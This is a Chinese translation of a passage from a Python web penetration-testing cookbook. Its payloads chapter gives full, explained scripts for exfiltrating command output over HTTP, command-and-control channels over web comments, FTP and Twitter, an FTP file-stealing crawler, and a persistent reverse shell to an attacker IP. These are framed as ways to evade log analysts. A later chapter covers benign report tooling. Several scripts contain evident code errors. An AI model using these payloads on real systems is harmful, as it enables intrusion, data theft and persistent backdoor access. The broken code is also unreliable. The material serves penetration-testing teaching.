Python Web 渗透测试秘籍(三)
原文:
annas-archive.org/md5/9ECC87991CE5C1AD546C7BAEC6960102译者:飞龙
第八章:负载和 Shell
在本章中,我们将涵盖以下主题:
-
通过 HTTP 请求提取数据
-
创建一个 HTTP C2
-
创建 FTP C2
-
创建 Twitter C2
-
创建一个简单的 Netcat shell
介绍
在本章中,我们将讨论在 Python 中创建反向 shell 和负载的过程。一旦在 Linux 或 Mac 系统上识别出上传漏洞,Python 负载就处于下一步的甜蜜点。它们易于制作或定制以匹配特定系统,具有清晰的功能,最重要的是,几乎所有的 Mac 和 Linux 系统默认都安装了 Python 2.7。
通过 HTTP 请求提取数据
我们将要创建的第一个脚本将使用非常简单的技术从目标服务器中提取数据。有三个基本步骤:在目标上运行命令,通过 HTTP 请求将输出传输给攻击者,并查看结果。
准备就绪
此示例需要一个 Web 服务器,该服务器可在攻击者一侧访问,以便接收来自目标的 HTTP 请求。幸运的是,Python 有一种非常简单的方法来启动 Web 服务器:
$ Python –m SimpleHTTPServer
这将在端口8000上启动一个 HTTP Web 服务器,提供当前目录中的任何文件。它接收到的任何请求都将直接打印到控制台,这是一种非常快速获取数据的方法,因此是此脚本的一个很好的补充。
如何做…
这是一个将在服务器上运行各种命令并通过 Web 请求传输输出的脚本:
import requests
import urllib
import subprocess
from subprocess import PIPE, STDOUT
commands = ['whoami','hostname','uname']
out = {}
for command in commands:
try:
p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
out[command] = p.stdout.read().strip()
except:
pass
requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))
工作原理…
导入之后,脚本的第一部分创建了一个命令数组:
commands = ['whoami','hostname','uname']
这是三个标准的 Linux 命令的示例,可以向攻击者提供有用的信息。请注意,这里假设目标服务器正在运行 Linux。使用前几章的脚本进行侦察,以确定目标操作系统,并在必要时用 Windows 等效命令替换此数组中的命令。
接下来,我们有主要的for循环:
p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
out[command] = p.stdout.read().strip()
代码的这部分执行命令并从subprocess中获取输出(将标准输出和标准错误都传输到单个subprocess.PIPE中)。然后将结果添加到输出字典中。请注意,我们在这里使用try和except语句,因为任何无法运行的命令都会引发异常。
最后,我们有一个单一的 HTTP 请求:
requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))
这使用urllib.encode将字典转换为 URL 编码的键/值对。这意味着任何可能影响 URL 的字符,例如&或=,将被转换为它们的 URL 编码等效形式,例如%26和%3D。
请注意,脚本端不会有任何输出;一切都通过 HTTP 请求传递到攻击者的 Web 服务器(示例使用本地主机的端口8000)。GET请求如下所示:
创建一个 HTTP C2
在 URL 中公开您的命令的问题是,即使是半睡不醒的日志分析员也会注意到它。有多种方法可以隐藏请求,但是当您不知道响应文本将是什么样子时,您需要提供一种可靠的方法来伪装输出并将其返回到您的服务器。
我们将创建一个脚本,将命令和控制活动伪装成 HTTP 流量,从网页评论中获取命令,并将输出返回到留言簿中。
入门
为此,您需要一个正常运行的 Web 服务器,其中包括两个页面,一个用于托管您的评论,另一个用于托管检索页面。
您的评论页面应该只包含标准内容。为此,我使用 Nginx 默认主页,并在末尾添加评论。评论应表达为:
<!--cmdgoeshere-->
检索页面可以非常简单:
<?php
$host='localhost';
$username='user';
$password='password';
$db_name="data";
$tbl_name="data";
$comment = $_REQUEST['comment'];
mysql_connect($host, $username, $password) or die("Cannot contact server");
mysql_select_db($db_name)or die("Cannot find DB");
$sql="INSERT INTO $tbl_name VALUES('$comment')";
$result=mysql_query($sql);
mysql_close();
?>
基本上,这个 PHP 所做的是接收POST请求中名为comment的传入值,并将其放入数据库中。这非常基础,如果您有多个 shell,它不会区分多个传入命令。
如何做…
我们将使用的脚本如下:
import requests
import re
import subprocess
import time
import os
while 1:
req = requests.get("http://127.0.0.1")
comments = re.findall('<!--(.*)-->',req.text)
for comment in comments:
if comment = " ":
os.delete(__file__)
else:
try:
response = subprocess.check_output(comment.split())
except:
response = "command fail"
data={"comment":(''.join(response)).encode("base64")}
newreq = requests.post("http://notmalicious.com/c2.php", data=data)
time.sleep(30)
以下是使用此脚本时产生的输出示例:
Name: TGludXggY2FtLWxhcHRvcCAzLjEzLjAtNDYtZ2VuZXJpYyAjNzktVWJ1bnR1IFNNU CBUdWUgTWFyIDEwIDIwOjA2OjUwIFVUQyAyMDE1IHg4Nl82NCB4ODZfNjQgeDg2X zY0IEdOVS9MaW51eAo= Comment:
Name: cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFl bW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9i aW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jp bi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5 bmM6L2JpbjovYmluL3N5bmMKZ Comment:
它是如何工作的...
像往常一样,我们导入必要的库并启动脚本:
import requests
import re
import subprocess
import time
import os
由于此脚本具有内置的自删除方法,因此我们可以设置它以以下循环永远运行:
while 1:
我们发出请求,检查我们预先配置的页面上是否有任何评论。如果有,我们将它们放在一个列表中。我们使用非常基本的regex来执行此检查:
req = requests.get("http://127.0.0.1")
comments = re.findall('<!--(.*)-->',req.text)
我们要做的第一件事是检查是否有空评论。这对脚本来说意味着它应该删除自己,这是一个非常重要的无人值守 C2 脚本机制。如果您希望脚本删除自己,只需在页面上留下一个空评论。脚本通过查找自己的名称并删除该名称来删除自己:
for comment in comments:
if comment = " ":
os.delete(__file__)
如果评论不为空,我们尝试使用subprocess命令将其传递给系统。重要的是你在命令上使用.split()来考虑subprocess如何处理多部分命令。我们使用.check_output将命令直接返回给我们分配的变量:
else:
try:
response = subprocess.check_output(comment.split())
如果命令失败,我们将响应值设置为命令失败:
except:
response = "command fail"
我们取response变量并将其分配给与字典中的 PHP 脚本匹配的键。在这种情况下,字段名为comment,因此我们将输出分配给评论。我们对输出进行 base64 编码,以便考虑到任何可能干扰我们脚本的随机变量,例如空格或代码:
data={"comment":(''.join(response)).encode("base64")}
现在数据已经分配,我们将其发送到我们预先配置的服务器的POST请求中,并等待30秒再次检查评论中是否有进一步的指示:
newreq = requests.post("http://127.0.0.1/addguestbook.php", data=data)
time.sleep(30)
创建 FTP C2
这个脚本是一个快速而肮脏的文件窃取工具。它沿着目录直线运行,抓取它接触到的一切。然后将这些导出到它指向的FTP目录。在您可以放置文件并希望快速获取服务器内容的情况下,这是一个理想的起点。
我们将创建一个连接到 FTP 的脚本,获取当前目录中的文件,并将它们导出到 FTP。然后它跳到下一个目录并重复。当它遇到两个相同的目录列表(也就是说,它到达了根目录)时,它就会停止。
入门
为此,您将需要一个正常运行的 FTP 服务器。我正在使用vsftpd,但您可以使用任何您喜欢的。您需要将凭据硬编码到脚本中(不建议)或者作为标志与凭据一起发送。
如何做...
我们将使用的脚本如下:
from ftplib import FTP
import time
import os
user = sys.argv[1]
pw = sys.argv[2]
ftp = FTP("127.0.0.1", user, pw)
filescheck = "aa"
loop = 0
up = "../"
while 1:
files = os.listdir("./"+(i*up))
print files
for f in files:
try:
fiile = open(f, 'rb')
ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
fiile.close()
else:
pass
if filescheck == files:
break
else:
filescheck = files
loop = loop+1
time.sleep(10)
ftp.close()
它是如何工作的...
像往常一样,我们导入我们的库并设置我们的变量。我们已将用户名和密码设置为sys.argv,以避免硬编码,从而暴露我们的系统:
from ftplib import FTP
import time
import os
user = sys.argv[1]
pw = sys.argv[2]
然后我们使用 IP 地址和通过标志设置的凭据连接到我们的 FTP。您还可以将 IP 作为sys.argv传递,以避免硬编码:
ftp = FTP("127.0.0.1", user, pw)
我设置了一个 nonce 值,它与目录检查方法的第一个目录不匹配。我们还将循环设置为0,并将"上一个目录"命令配置为一个变量,类似于第三章中的目录遍历脚本,漏洞识别:
filescheck = "aa"
loop = 0
up = "../"
然后我们创建我们的主循环以永远重复并创建我们选择的目录调用。我们列出我们调用的目录中的文件并将其分配给一个变量。您可以选择在这里打印文件列表,如我所做的那样,以进行诊断目的,但这没有任何区别:
while 1:
files = os.listdir("./"+(i*up))
print files
对于在目录中检测到的每个文件,我们尝试打开它。重要的是我们用rb打开文件,因为这允许它作为二进制文件读取,使其可以作为二进制文件传输。如果可以打开,我们使用storbinary命令将其传输到 FTP。然后我们关闭文件以完成交易:
try:
fiile = open(f, 'rb')
ftp.storbinary('STOR ftpfiles/00'+str(f), fiile)
fiile.close()
如果由于任何原因我们无法打开或传输文件,我们只需继续到列表中的下一个文件:
else:
pass
然后我们检查是否自上次命令以来改变了目录。如果没有,我们就跳出主循环:
if filescheck == files:
break
如果目录列表不匹配,我们将filecheck变量设置为匹配当前目录,通过1迭代循环,并休眠10秒以避免向服务器发送垃圾邮件:
else:
filescheck = files
loop = loop+1
time.sleep(10)
最后,一切都完成后,我们关闭与 FTP 服务器的连接:
ftp.close()
创建 Twitter C2
在一定程度上,请求互联网上的随机页面是可以接受的,但一旦安全运营中心(SOC)分析员仔细查看所有消失在管道中的数据,很明显这些请求是发往一个可疑站点,因此很可能与恶意流量相关。幸运的是,社交媒体在这方面提供了帮助,并允许我们将数据隐藏在明处。
我们将创建一个连接到 Twitter 的脚本,读取推文,根据这些推文执行命令,加密响应数据,并将其发布到 Twitter。我们还将创建一个解码脚本。
入门
为此,您需要一个带有 API 密钥的 Twitter 帐户。
如何做…
我们将使用的脚本如下:
from twitter import *
import os
from Crypto.Cipher import ARC4
import subprocess
import time
token = ''
token_key = ''
con_secret = ''
con_secret_key = ''
t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))
while 1:
user = t.statuses.user_timeline()
command = user[0]["text"].encode('utf-8')
key = user[1]["text"].encode('hex')
enc = ARC4.new(key)
response = subprocess.check_output(command.split())
enres = enc.encrypt(response).encode("base64")
for i in xrange(0, len(enres), 140):
t.statuses.update(status=enres[i:i+140])
time.sleep(3600)
解码脚本如下:
from Crypto.Cipher import ARC4
key = "".encode("hex")
response = ""
enc = ARC4.new(key)
response = response.decode("base64")
print enc.decrypt(response)
脚本进行中的示例如下:
它是如何工作的…
我们像往常一样导入我们的库。有很多 Twitter 的 Python 库;我只是使用了code.google.com/p/python-twitter/上可用的标准 twitter API。代码如下:
from twitter import *
import os
from Crypto.Cipher import ARC4
import subprocess
import time
为了满足 Twitter 的身份验证要求,我们需要从developer.twitter.com的App 页面中检索App 令牌、App 密钥、用户令牌和用户密钥。我们将它们分配给变量,并设置我们与 Twitter API 的连接:
token = ''
token_key = ''
con_secret = ''
con_secret_key = ''
t = Twitter(auth=OAuth(token, token_key, con_secret, con_secret_key))
我们设置一个无限循环:
while 1:
我们调用已设置的帐户的用户时间线。这个应用程序必须对 Twitter 帐户具有读写权限很重要。然后我们取最近推文的最后一条文本。我们需要将其编码为 UTF-8,因为通常有一些字符,普通编码无法处理:
user = t.statuses.user_timeline()
command = user[0]["text"].encode('utf-8')
然后我们取最后一条推文作为我们加密的密钥。我们将其编码为hex以避免出现空格匹配空格的情况:
key = user[1]["text"].encode('hex')
enc = ARC4.new(key)
我们通过使用subprocess函数执行操作。我们使用预设的 XOR 加密加密输出,并将其编码为 base64:
response = subprocess.check_output(command.split())
enres = enc.encrypt(response).encode("base64")
我们将加密和编码的响应分成 140 个字符的块,以适应 Twitter 的字符限制。对于每个块,我们创建一个 Twitter 状态:
for i in xrange(0, len(enres), 140):
t.statuses.update(status=enres[i:i+140])
因为每个步骤都需要两条推文,我在每个命令检查之间留了一个小时的间隔,但您可以很容易地根据自己的需要进行更改:
time.sleep(3600)
对于解码,导入RC4库,将您的关键推文设置为密钥,并将重新组装的 base64 设置为响应:
from Crypto.Cipher import ARC4
key = "".encode("hex")
response = ""
使用关键字设置一个新的RC4代码,从 base64 解码数据,并使用关键字解密它:
enc = ARC4.new(key)
response = response.decode("base64")
print enc.decrypt(response)
创建一个简单的 Netcat shell
我们将创建以下脚本,利用原始套接字从网络中泄露数据。这个 shell 的一般思想是在受损的机器和您自己的机器之间创建一个连接,通过 Netcat(或其他程序)会话发送命令到这台机器。
这个 Python 脚本的美妙之处在于它的隐蔽性,因为它看起来就像一个完全合法的脚本。
如何做…
这是将通过 Netcat 建立连接并读取输入的脚本:
import socket
import subprocess
import sys
import time
HOST = '172.16.0.2' # Your attacking machine to connect back to
PORT = 4444 # The port your attacking machine is listening on
def connect((host, port)):
go = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
go.connect((host, port))
return go
def wait(go):
data = go.recv(1024)
if data == "exit\n":
go.close()
sys.exit(0)
elif len(data)==0:
return True
else:
p = subprocess.Popen(data, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
stdout = p.stdout.read() + p.stderr.read()
go.send(stdout)
return False
def main():
while True:
dead=False
try:
go=connect((HOST,PORT))
while not dead:
dead=wait(go)
go.close()
except socket.error:
pass
time.sleep(2)
if __name__ == "__main__":
sys.exit(main())
它是如何工作的…
要像往常一样启动脚本,我们需要导入将在整个脚本中使用的模块:
import socket
import subprocess
import sys
import time
然后我们需要定义我们的变量:这些值是攻击机器的 IP 和端口,以建立连接:
HOST = '172.16.0.2' # Your attacking machine to connect back to
PORT = 4444 # The port your attacking machine is listening on
然后我们继续定义原始连接;然后我们可以为我们建立的值分配一个值,并在以后引用它来读取输入并发送标准输出。
我们回顾一下之前设置的主机和端口值,并创建连接。我们将已建立的连接赋予go的值:
def connect((host, port)):
go = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
go.connect((host, port))
return go
然后,我们可以引入一段代码,用于等待部分。这将通过攻击机的 Netcat 会话等待发送给它的命令。我们确保通过会话发送的数据被导入到 shell 中,并且其标准输出通过已建立的 Netcat 会话返回给我们,从而通过反向连接为我们提供 shell 访问权限。
我们给通过 Netcat 会话传递给受损机器的值命名为数据。脚本中添加了一个值,用于在用户完成操作时退出会话;我们选择了exit,这意味着在 Netcat 会话中输入 exit 将终止已建立的连接。然后,我们开始处理数据的细节部分,其中数据被打开(读取)并被导入到 shell 中。完成后,我们确保读取stdout值并赋予一个值stdout(这可以是任何值),然后通过之前建立的go会话将其发送回给我们自己。代码如下:
def wait(go):
data = go.recv(1024)
if data == "exit\n":
go.close()
sys.exit(0)
elif len(data)==0:
return True
else:
p = subprocess.Popen(data, shell=True,
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
stdout = p.stdout.read() + p.stderr.read()
go.send(stdout)
return False
我们脚本的最后部分是错误检查和运行部分。在脚本运行之前,我们确保让 Python 知道我们有一个机制来检查会话是否处于活动状态,方法是使用我们之前的真实语句。如果连接丢失,Python 脚本将尝试重新与攻击机建立连接,使其成为一个持久的后门:
def main():
while True:
dead=False
try:
go=connect((HOST,PORT))
while not dead:
dead=wait(go)
go.close()
except socket.error:
pass
time.sleep(2)
if __name__ == "__main__":
sys.exit(main())
第九章:报告
在本章中,我们将涵盖以下主题:
-
将 Nmap XML 转换为 CSV
-
从 URL 提取链接到 Maltego
-
从 URL 提取电子邮件到 Maltego
-
将 Sslscan 解析为 CSV
-
使用
plot.ly生成图表
介绍
我们在本书中有各种执行 Web 应用程序测试的方法。因此,我们有所有这些信息。我们从我们的方法中得到控制台输出,但是如何将所有这些收集到一个有用的格式中呢?理想情况下,我们希望输出以一种我们可以使用的格式。或者我们可能希望将来自另一个应用程序(如 Nmap)的输出转换为我们正在使用的格式。这可以是逗号分隔变量(CSV),或者可能是 Maltego 变换,或者任何您想要使用的其他格式。
你刚才提到的 Maltego 是什么?我听到你问。Maltego 是一个开源情报(OSINT)和取证应用程序。它有一个漂亮的 GUI,可以帮助您以一种漂亮、漂亮且易于理解的方式可视化您的信息。
将 Nmap XML 转换为 CSV
Nmap 是在 Web 应用程序测试的侦察阶段中常用的工具。通常用于使用各种选项扫描端口,以帮助您自定义扫描的方式。例如,您想要进行 TCP 还是 UDP?您想设置什么 TCP 标志?是否有特定的 Nmap 脚本,例如检查网络时间协议(NTP)反射,但在非默认端口上运行?列表可能是无穷无尽的。
Nmap 输出很容易阅读,但在程序化的方式下并不容易使用。这个简单的示例将把 Nmap 的 XML 输出(通过在运行 Nmap 扫描时使用-oX 标志)转换为 CSV 输出。
准备工作
虽然这个示例在实现上非常简单,但您需要安装 Python 的nmap模块。您可以使用pip或从源文件构建它来实现。您还需要来自 Nmap 扫描的 XML 输出。您可以从扫描您选择的易受攻击的虚拟机或您有权限扫描的站点中获取这些输出。您可以直接使用 Nmap,也可以在 Python 脚本中使用 Python 的nmap模块来实现。
如何做…
就像我之前提到的,这个示例非常简单。这主要是因为nmap库已经为我们做了大部分的工作。
这是我们将用于此任务的脚本:
import sys
import os
import nmap
nm=nmap.Portscanner()
with open(“./nmap_output.xml”, “r”) as fd:
content = fd.read()
nm.analyse_nmap_xml_scan(content)
print(nm.csv())
工作原理…
因此,在导入必要的模块之后,我们必须初始化 Nmap 的Portscanner函数。尽管在这个示例中我们不会进行任何端口扫描,但这是必要的,以便我们可以使用对象中的方法:
nm=nmap.Portscanner()
然后,我们有一个with语句。那是什么?以前,在 Python 中打开文件时,您必须记住在完成后关闭它。在这种情况下,with语句将在其中的所有代码执行完毕后为您关闭文件。如果您记忆力不好,经常忘记在代码中关闭文件,这将非常有用:
with open(“./nmap_output.xml”, “r”) as fd:
在with语句之后,我们将文件的内容读入content变量中(我们可以将此变量命名为任何我们想要的,但为什么要使事情变得过于复杂呢?):
content = fd.read()
使用我们之前创建的Portscanner对象,我们现在可以分析我们提供的 XML 输出的内容,然后将其打印为 CSV:
nm.analyse_nmap_xml_scan(content)
print(nm.csv())
从 URL 提取链接到 Maltego
本书中还有另一个示例,说明如何使用BeautifulSoup库以编程方式获取域名。这个示例将向您展示如何创建一个本地的 Maltego 变换,然后您可以在 Maltego 中使用它以一种易于使用、图形化的方式生成信息。通过从这个变换中收集的链接,这也可以作为更大的爬虫或抓取解决方案的一部分使用。
如何做…
以下代码显示了如何创建一个脚本,将枚举信息输出到 Maltego 的正确格式中:
import urllib2
from bs4 import BeautifulSoup
import sys
tarurl = sys.argv[1]
if tarurl[-1] == “/”:
tarurl = tarurl[:-1]
print”<MaltegoMessage>”
print”<MaltegoTransformResponseMessage>”
print” <Entities>”
url = urllib2.urlopen(tarurl).read()
soup = BeautifulSoup(url)
for line in soup.find_all(‘a’):
newline = line.get(‘href’)
if newline[:4] == “http”:
print”<Entity Type=\”maltego.Domain\”>”
print”<Value>”+str(newline)+”</Value>”
print”</Entity>”
elif newline[:1] == “/”:
combline = tarurl+newline
print”<Entity Type=\”maltego.Domain\”>”
print”<Value>”+str(combline)+”</Value>”
print”</Entity>”
print” </Entities>”
print”</MaltegoTransformResponseMessage>”
print”</MaltegoMessage>”
它是如何工作的…
首先,我们为这个配方导入所有必要的模块。您可能已经注意到,对于BeautifulSoup,我们有以下行:
from bs4 import BeautifulSoup
这样,当我们使用BeautifulSoup时,我们只需输入BeautifulSoup,而不是bs4.BeautifulSoup。
然后,我们将提供的目标 URL 分配给一个变量:
tarurl = sys.argv[1]
完成后,我们检查目标 URL 是否以/结尾。如果是,则通过用tarurl变量替换tarurl的最后一个字符之外的所有字符,以便在配方中输出完整的相对链接时可以稍后使用:
if tarurl[-1] == “/”:
tarurl = tarurl[:-1]
然后,我们打印出构成 Maltego 变换响应的标签:
print”<MaltegoMessage>”
print”<MaltegoTransformResponseMessage>”
print” <Entities>”
然后,我们使用urllib2打开目标url并将其存储在BeautifulSoup中:
url = urllib2.urlopen(tarurl).read()
soup = BeautifulSoup(url)
我们现在使用 soup 来查找所有<a>标签。更具体地说,我们将寻找具有超文本引用(链接)的<a>标签:
for line in soup.find_all(‘a’):
newline = line.get(‘href’)
如果链接的前四个字符是http,我们将其输出为 Maltego 的实体的正确格式:
if newline[:4] == “http”:
print”<Entity Type=\”maltego.Domain\”>”
print”<Value>”+str(newline)+”</Value>”
print”</Entity>”
如果第一个字符是/,表示链接是相对链接,那么我们将在将目标 URL 添加到链接之后将其输出到正确的格式。虽然这个配方展示了如何处理相对链接的一个示例,但重要的是要注意,还有其他类型的相对链接,比如只是一个文件名(example.php),一个目录,以及相对路径点符号(../../example.php),如下所示:
elif newline[:1] == “/”:
combline = tarurl+newline
if
print”<Entity Type=\”maltego.Domain\”>”
print”<Value>”+str(combline)+”</Value>”
print”</Entity>”
在我们处理页面上的所有链接之后,我们关闭了输出开始时打开的所有标签:
print” </Entities>”
print”</MaltegoTransformResponseMessage>”
print”</MaltegoMessage>”
还有更多…
BeautifulSoup库包含其他可以使您的代码更简单的函数。其中一个函数叫做SoupStrainer。SoupStrainer 允许您仅解析您想要的文档部分。我们留下这个作为一个让您探索的练习。
将电子邮件提取到 Maltego
本书中还有另一个配方,说明了如何从网站中提取电子邮件。这个配方将向您展示如何创建一个本地的 Maltego 变换,然后您可以在 Maltego 本身中使用它来生成信息。它可以与 URL 蜘蛛变换一起使用,从整个网站中提取电子邮件。
如何做…
以下代码显示了如何通过使用正则表达式从网站中提取电子邮件:
import urllib2
import re
import sys
tarurl = sys.argv[1]
url = urllib2.urlopen(tarurl).read()
regex = re.compile((“([a-z0-9!#$%&’*+\/=?^_`{|}~- ]+(?:\.[*+\/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&’*+\/=?^_`” “{|}~- ]+)*(@|\sat\s)(?:a-z0-9?(\.|” “\ sdot\s))+a-z0-9?)”))
print”<MaltegoMessage>”
print”<MaltegoTransformResponseMessage>”
print” <Entities>”
emails = re.findall(regex, url)
for email in emails:
print” <Entity Type=\”maltego.EmailAddress\”>”
print” <Value>”+str(email[0])+”</Value>”
print” </Entity>”
print” </Entities>”
print”</MaltegoTransformResponseMessage>”
print”</MaltegoMessage>”
它是如何工作的…
脚本的顶部导入了必要的模块。之后,我们将提供的 URL 分配为一个变量,并使用urllib2打开url列表:
tarurl = sys.argv[1]
url = urllib2.urlopen(tarurl).read()
然后,我们创建一个匹配标准电子邮件地址格式的正则表达式:
regex = re.compile((“([a-z0-9!#$%&’*+\/=?^_`{|}~-]+(?:\.[a-z0- 9!#$%&’*+\/=?^_`” “{|}~-]+)*(@|\sat\s)(?:a-z0-9?(\.|” “\sdot\s))+a-z0-9?)”))
前面的正则表达式应匹配格式为email@address.com或电子邮件在地址点 com 中的电子邮件地址。
然后,我们输出了一个有效的 Maltego 变换输出所需的标签:
print”<MaltegoMessage>”
print”<MaltegoTransformResponseMessage>”
print” <Entities>”
然后,我们找到url内容中与我们的正则表达式匹配的所有文本实例:
emails = re.findall(regex, url)
然后,我们找到我们找到的每个电子邮件地址,并以正确的格式输出到 Maltego 变换响应中:
for email in emails:
print” <Entity Type=\”maltego.EmailAddress\”>”
print” <Value>”+str(email[0])+”</Value>”
print” </Entity>”
然后,我们关闭了之前打开的标签:
print” </Entities>”
print”</MaltegoTransformResponseMessage>”
print”</MaltegoMessage>”
将 Sslscan 解析为 CSV
Sslscan 是一种用于枚举 HTTPS 站点支持的密码的工具。了解站点支持的密码对 Web 应用程序测试很有用。如果一些支持的密码较弱,这在渗透测试中更有用。
如何做…
这个配方将在指定的 IP 地址上运行 Sslscan,并将结果输出为 CSV 格式:
import subprocess
import sys
ipfile = sys.argv[1]
IPs = open(ipfile, “r”)
output = open(“sslscan.csv”, “w+”)
for IP in IPs:
try:
command = “sslscan “+IP
ciphers = subprocess.check_output(command.split())
for line in ciphers.splitlines():
if “Accepted” in line:
output.write(IP+”,”+line.split()[1]+”,”+ line.split()[4]+”,”+line.split()[2]+”\r”)
except:
pass
它是如何工作的…
我们首先导入必要的模块,并将参数中提供的文件名分配给一个变量:
import subprocess
import sys
ipfile = sys.argv[1]
提供的文件名应指向包含 IP 地址列表的文件。我们以只读方式打开此文件:
IPs = open(ipfile, “r”)
然后,我们打开一个文件以进行读取和写入输出,而不是使用r:
output = open(“sslscan.csv”, “w+”)
现在我们有了输入和写输出的地方,我们已经准备好了。我们首先通过 IP 地址进行迭代:
for IP in IPs:
对于每个 IP,我们运行 Sslscan:
try:
command = “sslscan “+IP
然后我们将命令的输出分成几块:
ciphers = subprocess.check_output(command.split())
然后我们逐行查看输出。如果行包含Accepted这个词,那么我们会为 CSV 输出排列行的元素:
for line in ciphers.splitlines():
if “Accepted” in line:
output.write(IP+”,”+line.split()[1]+”,”+ line.split()[4]+”,”+line.split()[2]+”\r”)
最后,如果由于任何原因尝试对 IP 运行 SSL 扫描失败,我们只需继续下一个 IP 地址:
except:
pass
使用 plot.ly 生成图表
有时候有一个数据的可视化表示真的很好。在这个示例中,我们将使用plot.ly python API 来生成一个漂亮的图表。
准备就绪
在这个示例中,我们将使用plot.ly API 来生成我们的图表。如果您还没有账户,您需要在plot.ly注册一个账户。
一旦您有了账户,您就需要准备好使用plot.ly的环境。
最简单的方法是使用pip来安装它,所以只需运行以下命令:
$ pip install plotly
然后,您需要运行以下命令(用您自己的用户名、API 密钥和流 ID 替换{username}、{apikey}和{streamids},这些信息可以在plot.ly网站的账户订阅下查看):
python -c “import plotly; plotly.tools.set_credentials_file(username=’{username}’, api_key=’{apikey}’, stream_ids=[{streamids}])”
如果您正在按照这个示例进行操作,我使用的是在线测试的pcap文件:www.snaketrap.co.uk/pcaps/hbot.pcap。
我们将枚举pcap文件中的所有 FTP 数据包,并将它们根据时间绘制出来。
为了解析pcap文件,我们将使用dpkt模块。就像之前的示例中使用的Scapy一样,dpkt可以用来解析和操作数据包。
最简单的方法是使用pip来安装它。只需运行以下命令:
$ pip install dpkt
如何做…
这个示例将读取一个pcap文件,并提取任何 FTP 数据包的日期和时间,然后将这些数据绘制成图表:
import time, dpkt
import plotly.plotly as py
from plotly.graph_objs import *
from datetime import datetime
filename = ‘hbot.pcap’
full_datetime_list = []
dates = []
for ts, pkt in dpkt.pcap.Reader(open(filename,’rb’)):
eth=dpkt.ethernet.Ethernet(pkt)
if eth.type!=dpkt.ethernet.ETH_TYPE_IP:
continue
ip = eth.data
tcp=ip.data
if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP):
continue
if tcp.dport == 21 or tcp.sport == 21:
full_datetime_list.append((ts, str(time.ctime(ts))))
for t,d in full_datetime_list:
if d not in dates:
dates.append(d)
dates.sort(key=lambda date: datetime.strptime(date, “%a %b %d %H:%M:%S %Y”))
datecount = []
for d in dates:
counter = 0
for d1 in full_datetime_list:
if d1[1] == d:
counter += 1
datecount.append(counter)
data = Data([
Scatter(
x=dates,
y=datecount
)
])
plot_url = py.plot(data, filename=’FTP Requests’)
工作原理…
我们首先导入必要的模块,并将我们的pcap文件的文件名分配给一个变量:
import time, dpkt
import plotly.plotly as py
from plotly.graph_objs import *
from datetime import datetime
filename = ‘hbot.pcap’
接下来,我们设置我们将在迭代pcap文件时填充的列表。Full_datetime_list变量将保存所有 FTP 数据包的日期,而dates将用于保存完整列表中唯一的datetime:
full_datetime_list = []
dates = []
然后我们打开pcap文件进行读取,并在for循环中迭代。这一部分检查数据包是否是 FTP 数据包,如果是,然后将时间追加到我们的数组中:
for ts, pkt in dpkt.pcap.Reader(open(filename,’rb’)):
eth=dpkt.ethernet.Ethernet(pkt)
if eth.type!=dpkt.ethernet.ETH_TYPE_IP:
continue
ip = eth.data
tcp=ip.data
if ip.p not in (dpkt.ip.IP_PROTO_TCP, dpkt.ip.IP_PROTO_UDP):
continue
if tcp.dport == 21 or tcp.sport == 21:
full_datetime_list.append((ts, str(time.ctime(ts))))
现在我们有了 FTP 流量的datetime函数列表,我们可以从中获取唯一的datetime函数,并填充我们的dates数组:
for t,d in full_datetime_list:
if d not in dates:
dates.append(d)
然后我们对日期进行排序,以便它们在我们的图表上按顺序排列:
dates.sort(key=lambda date: datetime.strptime(date, “%a %b %d H:%M:%S %Y”))
然后,我们只需迭代唯一的日期,并计算在那个时间段内从我们的较大数组中发送/接收的所有数据包,并填充我们的计数器数组:
datecount = []
for d in dates:
counter = 0
for d1 in full_datetime_list:
if d1[1] == d:
counter += 1
datecount.append(counter)
剩下要做的就是通过 API 调用plot.ly,使用我们的日期数组和计数数组作为数据点:
data = Data([
Scatter(
x=dates,
y=datecount
)
])
plot_url = py.plot(data, filename=’FTP Requests’)
当您运行脚本时,它应该会弹出浏览器到您新创建的plot.ly图表,如下所示:
就是这样。plot.ly有很多不同的方法来可视化您的数据,值得花点时间去尝试一下。想象一下当老板看到您发送给他们的漂亮图表时会有多么印象深刻。